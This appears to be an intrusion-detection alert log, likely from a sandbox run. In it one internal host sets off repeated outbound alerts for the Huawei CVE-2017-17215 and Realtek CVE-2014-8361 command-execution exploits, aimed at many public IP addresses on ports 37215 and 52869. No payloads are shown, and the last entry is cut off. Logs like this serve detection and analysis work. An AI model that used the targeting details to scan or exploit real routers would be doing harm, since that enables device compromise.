ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.55.63.232

Timestamp:	2024-07-20T23:10:41.674250+0200
SID:	2835222
Source Port:	44828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.16.29.198

Timestamp:	2024-07-20T23:10:39.499880+0200
SID:	2835222
Source Port:	50780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 78.250.115.189

Timestamp:	2024-07-20T23:10:39.501147+0200
SID:	2835222
Source Port:	47464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.15.230.22

Timestamp:	2024-07-20T23:10:56.011930+0200
SID:	2835222
Source Port:	32822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.115.200.222

Timestamp:	2024-07-20T23:10:39.441039+0200
SID:	2835222
Source Port:	37000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 97.253.204.115

Timestamp:	2024-07-20T23:10:41.712950+0200
SID:	2835222
Source Port:	51938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.80.174.62

Timestamp:	2024-07-20T23:10:41.673540+0200
SID:	2835222
Source Port:	44286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.42.101.14

Timestamp:	2024-07-20T23:10:39.492274+0200
SID:	2835222
Source Port:	56706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.89.36.24

Timestamp:	2024-07-20T23:10:40.946478+0200
SID:	2835222
Source Port:	48610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.241.6.192

Timestamp:	2024-07-20T23:10:39.501147+0200
SID:	2835222
Source Port:	34532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.185.91.102

Timestamp:	2024-07-20T23:10:41.672972+0200
SID:	2835222
Source Port:	46580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.174.190.33

Timestamp:	2024-07-20T23:10:40.934363+0200
SID:	2835222
Source Port:	50210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.8.92.185

Timestamp:	2024-07-20T23:10:43.771877+0200
SID:	2835222
Source Port:	52982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.176.210.11

Timestamp:	2024-07-20T23:10:40.934982+0200
SID:	2835222
Source Port:	33838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 104.230.225.200

Timestamp:	2024-07-20T23:10:41.693872+0200
SID:	2835222
Source Port:	53572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 34.182.233.76

Timestamp:	2024-07-20T23:10:39.442646+0200
SID:	2835222
Source Port:	59342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.111.99.127

Timestamp:	2024-07-20T23:10:42.278984+0200
SID:	2835222
Source Port:	42562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 61.39.146.236

Timestamp:	2024-07-20T23:10:41.671756+0200
SID:	2835222
Source Port:	49206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.177.116.18

Timestamp:	2024-07-20T23:10:40.936245+0200
SID:	2835222
Source Port:	35480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 89.8.95.202

Timestamp:	2024-07-20T23:10:41.244364+0200
SID:	2835222
Source Port:	55154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 118.174.41.159

Timestamp:	2024-07-20T23:10:41.234520+0200
SID:	2835222
Source Port:	40428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 47.62.169.96

Timestamp:	2024-07-20T23:10:40.934363+0200
SID:	2835222
Source Port:	45246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 68.91.193.135

Timestamp:	2024-07-20T23:10:41.679495+0200
SID:	2835222
Source Port:	50234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 61.200.31.129

Timestamp:	2024-07-20T23:10:52.109146+0200
SID:	2027339
Source Port:	41282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 76.125.10.46

Timestamp:	2024-07-20T23:10:39.495983+0200
SID:	2835222
Source Port:	44484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 173.213.209.100

Timestamp:	2024-07-20T23:10:39.487008+0200
SID:	2835222
Source Port:	35514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.218.65.16

Timestamp:	2024-07-20T23:10:39.446335+0200
SID:	2835222
Source Port:	47084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 133.236.123.161

Timestamp:	2024-07-20T23:10:40.943560+0200
SID:	2835222
Source Port:	43080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 67.65.153.119

Timestamp:	2024-07-20T23:10:42.708635+0200
SID:	2027339
Source Port:	41872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.141.80.64

Timestamp:	2024-07-20T23:10:41.244364+0200
SID:	2835222
Source Port:	44576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.205.160.99

Timestamp:	2024-07-20T23:10:40.934363+0200
SID:	2835222
Source Port:	52910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 211.42.169.91

Timestamp:	2024-07-20T23:10:42.708635+0200
SID:	2027339
Source Port:	35330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.197.53.118

Timestamp:	2024-07-20T23:10:39.511132+0200
SID:	2835222
Source Port:	45236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.215.250.254

Timestamp:	2024-07-20T23:10:41.672505+0200
SID:	2835222
Source Port:	51478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.130.45.123

Timestamp:	2024-07-20T23:10:40.936246+0200
SID:	2835222
Source Port:	41360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 54.134.33.11

Timestamp:	2024-07-20T23:10:40.934982+0200
SID:	2835222
Source Port:	44088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.64.175.189

Timestamp:	2024-07-20T23:10:42.280429+0200
SID:	2835222
Source Port:	48768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.162.253.225

Timestamp:	2024-07-20T23:10:39.497211+0200
SID:	2835222
Source Port:	59708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.210.73.76

Timestamp:	2024-07-20T23:10:39.518032+0200
SID:	2835222
Source Port:	51542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.72.216.186

Timestamp:	2024-07-20T23:10:41.671757+0200
SID:	2835222
Source Port:	38498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.233.79.117

Timestamp:	2024-07-20T23:10:40.943560+0200
SID:	2835222
Source Port:	46756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.41.11.247

Timestamp:	2024-07-20T23:10:41.712950+0200
SID:	2835222
Source Port:	52868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.140.167.29

Timestamp:	2024-07-20T23:10:52.659749+0200
SID:	2835222
Source Port:	59984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.241.179.83

Timestamp:	2024-07-20T23:10:40.948142+0200
SID:	2835222
Source Port:	42026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.222.177.45

Timestamp:	2024-07-20T23:10:39.449685+0200
SID:	2835222
Source Port:	55676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 54.158.102.139

Timestamp:	2024-07-20T23:10:44.581154+0200
SID:	2027339
Source Port:	45664
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.95.41.120

Timestamp:	2024-07-20T23:10:39.454006+0200
SID:	2835222
Source Port:	54780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.36.183.119

Timestamp:	2024-07-20T23:10:39.487008+0200
SID:	2835222
Source Port:	41076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 78.179.192.192

Timestamp:	2024-07-20T23:10:48.638182+0200
SID:	2027339
Source Port:	33318
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.7.140.134

Timestamp:	2024-07-20T23:10:39.503369+0200
SID:	2835222
Source Port:	47380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.52.14.1

Timestamp:	2024-07-20T23:10:41.679495+0200
SID:	2835222
Source Port:	35796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.147.176.235

Timestamp:	2024-07-20T23:10:42.280429+0200
SID:	2835222
Source Port:	60756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 18.50.207.232

Timestamp:	2024-07-20T23:10:42.643890+0200
SID:	2027339
Source Port:	46464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 163.110.119.229

Timestamp:	2024-07-20T23:10:39.497131+0200
SID:	2835222
Source Port:	43258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 111.61.149.252

Timestamp:	2024-07-20T23:10:39.504391+0200
SID:	2835222
Source Port:	45038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 64.161.87.250

Timestamp:	2024-07-20T23:10:40.934499+0200
SID:	2835222
Source Port:	36006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 207.205.38.109

Timestamp:	2024-07-20T23:10:56.035499+0200
SID:	2835222
Source Port:	40266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.83.157.193

Timestamp:	2024-07-20T23:10:40.946478+0200
SID:	2835222
Source Port:	52060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.150.107.212

Timestamp:	2024-07-20T23:10:42.248098+0200
SID:	2835222
Source Port:	47850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 92.38.222.42

Timestamp:	2024-07-20T23:10:44.539375+0200
SID:	2027339
Source Port:	54992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.169.40.175

Timestamp:	2024-07-20T23:10:39.492375+0200
SID:	2835222
Source Port:	43226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.246.170.171

Timestamp:	2024-07-20T23:10:39.503369+0200
SID:	2835222
Source Port:	55852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.221.114.39

Timestamp:	2024-07-20T23:10:40.949089+0200
SID:	2835222
Source Port:	52366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.180.153.162

Timestamp:	2024-07-20T23:10:40.936245+0200
SID:	2835222
Source Port:	35578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 175.251.123.186

Timestamp:	2024-07-20T23:10:40.934982+0200
SID:	2835222
Source Port:	46876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.209.146.132

Timestamp:	2024-07-20T23:10:41.674250+0200
SID:	2835222
Source Port:	37458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.213.153.141

Timestamp:	2024-07-20T23:10:40.934249+0200
SID:	2835222
Source Port:	48536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 83.29.88.76

Timestamp:	2024-07-20T23:10:52.085784+0200
SID:	2027339
Source Port:	35210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.92.173.148

Timestamp:	2024-07-20T23:10:41.672505+0200
SID:	2835222
Source Port:	55730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 58.115.50.235

Timestamp:	2024-07-20T23:10:52.080493+0200
SID:	2027339
Source Port:	50024
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 166.151.137.80

Timestamp:	2024-07-20T23:10:39.501147+0200
SID:	2835222
Source Port:	43782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.99.38.42

Timestamp:	2024-07-20T23:10:39.449685+0200
SID:	2835222
Source Port:	48166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.190.168.108

Timestamp:	2024-07-20T23:10:42.280294+0200
SID:	2835222
Source Port:	40296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 62.146.200.25

Timestamp:	2024-07-20T23:10:39.487008+0200
SID:	2835222
Source Port:	49906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 116.138.138.226

Timestamp:	2024-07-20T23:10:40.934499+0200
SID:	2835222
Source Port:	52952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.169.76.138

Timestamp:	2024-07-20T23:10:39.497211+0200
SID:	2835222
Source Port:	47244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.140.181.240

Timestamp:	2024-07-20T23:10:40.935071+0200
SID:	2835222
Source Port:	40162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.221.156.231

Timestamp:	2024-07-20T23:10:41.679495+0200
SID:	2835222
Source Port:	38232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.143.76.23

Timestamp:	2024-07-20T23:10:39.446335+0200
SID:	2835222
Source Port:	59254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.113.132.47

Timestamp:	2024-07-20T23:10:39.492375+0200
SID:	2835222
Source Port:	38056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.160.200.207

Timestamp:	2024-07-20T23:10:39.523737+0200
SID:	2835222
Source Port:	54880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.29.143.201

Timestamp:	2024-07-20T23:10:41.237255+0200
SID:	2835222
Source Port:	34358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.4.99.70

Timestamp:	2024-07-20T23:10:42.282973+0200
SID:	2835222
Source Port:	33384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.111.82.33

Timestamp:	2024-07-20T23:10:42.278984+0200
SID:	2835222
Source Port:	33470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.124.152.142

Timestamp:	2024-07-20T23:10:42.284900+0200
SID:	2835222
Source Port:	59832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.11.55.143

Timestamp:	2024-07-20T23:10:41.234520+0200
SID:	2835222
Source Port:	57034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.238.161.20

Timestamp:	2024-07-20T23:10:39.441039+0200
SID:	2835222
Source Port:	45450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.181.244.208

Timestamp:	2024-07-20T23:10:40.935071+0200
SID:	2835222
Source Port:	49402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.39.42.138

Timestamp:	2024-07-20T23:10:39.499880+0200
SID:	2835222
Source Port:	54142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 103.246.101.15

Timestamp:	2024-07-20T23:10:39.463408+0200
SID:	2835222
Source Port:	43798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 197.33.21.86

Timestamp:	2024-07-20T23:10:44.678595+0200
SID:	2027339
Source Port:	40994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 117.238.162.201

Timestamp:	2024-07-20T23:10:40.943561+0200
SID:	2835222
Source Port:	56918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.149.230.36

Timestamp:	2024-07-20T23:10:39.499880+0200
SID:	2835222
Source Port:	35092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 109.51.3.47

Timestamp:	2024-07-20T23:10:40.374807+0200
SID:	2027339
Source Port:	48182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.95.14.253

Timestamp:	2024-07-20T23:10:40.934983+0200
SID:	2835222
Source Port:	45996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 205.121.31.87

Timestamp:	2024-07-20T23:10:39.492274+0200
SID:	2835222
Source Port:	56498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 69.184.161.116

Timestamp:	2024-07-20T23:10:40.933928+0200
SID:	2835222
Source Port:	54002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 203.39.100.182

Timestamp:	2024-07-20T23:10:40.129702+0200
SID:	2027339
Source Port:	43734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.219.171.239

